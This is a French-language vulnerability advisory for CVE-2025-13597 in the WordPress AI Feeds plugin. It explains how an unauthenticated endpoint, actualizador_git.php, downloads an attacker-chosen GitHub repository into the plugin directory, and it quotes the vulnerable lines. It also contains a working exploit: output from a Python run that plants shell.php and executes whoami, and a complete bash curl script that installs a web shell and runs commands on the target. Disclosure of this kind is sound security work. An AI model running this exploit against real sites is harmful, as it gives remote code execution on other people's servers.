
AI Feeds <= 1.0.11 - Téléchargement arbitraire de fichier non authentifié
Le plugin WordPress AI Feeds versions 1.0.11 et inférieures contient une vulnérabilité d’exécution de code à distance non authentifiée dans le fichier actualizador_git.php. Ce fichier est directement accessible via HTTP sans aucune vérification d’authentification ou d’autorisation, ce qui permet à des attaquants non authentifiés de télécharger des dépôts GitHub arbitraires et d’écraser les fichiers du plugin, conduisant à une exécution de code à distance.
Un script CVE-2025-13597.py est fourni pour démontrer qu’un attaquant distant peut télécharger shell.php et exécuter du code à distance :
python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds
[*] Exploit executed. Checking if shell.php was created...
[*] Testing shell access...
www-data
[*] Shell should be accessible at:
http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND
La vulnérabilité se trouve dans /wp-content/plugins/ai-feeds/actualizador_git.php. Ce fichier implémente un système de miroir de dépôt GitHub accessible directement via HTTP sans aucun contrôle de sécurité.
Accès direct au fichier (Lignes 1-17) :
Le fichier ne contient pas la vérification standard WordPress ABSPATH (if (!defined('ABSPATH')) exit;) qui empêche l’accès HTTP direct. Les paramètres sont lus directement depuis $_GET sans validation :
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO = $_GET['repo'] ?? 'svn_ai-feeds';
$REF = $_GET['ref'] ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
Validation du jeton (Ligne 26) : La seule validation vérifie si le jeton est vide ou égal à la valeur par défaut. Aucune authentification ou autorisation n’est effectuée :
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
http_response_code(400);
exit("Falta token\n");
}
Requête à l’API GitHub (Ligne 31, 35-58) : Le script télécharge un fichier ZIP depuis l’API GitHub en utilisant des paramètres contrôlés par l’utilisateur :
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);
La fonction curl_download() envoie le jeton dans l’en-tête d’autorisation mais n’effectue aucune validation du propriétaire ou du contenu du dépôt.
Extraction du ZIP et opérations sur les fichiers (Lignes 144-169) : Le ZIP téléchargé est extrait et les fichiers sont copiés directement dans le répertoire du plugin :
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
La fonction rrcopy_into() copie récursivement tous les fichiers du dépôt extrait vers le répertoire de travail courant (répertoire du plugin), écrasant les fichiers existants.
Suppression de fichiers (Lignes 164-165) : Les fichiers non présents dans le dépôt téléchargé sont supprimés :
mirror_delete_extras($cwd, $keepSet, $PRESERVE);
La fonction mirror_delete_extras() supprime tout fichier dans le répertoire du plugin qui n’existe pas dans le manifeste du dépôt.
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"
COMMAND="whoami"
echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"
curl -s "${TARGET}/wp-content/plugins/ai-feeds/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"
echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""
echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=${COMMAND}"
echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo " ${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND"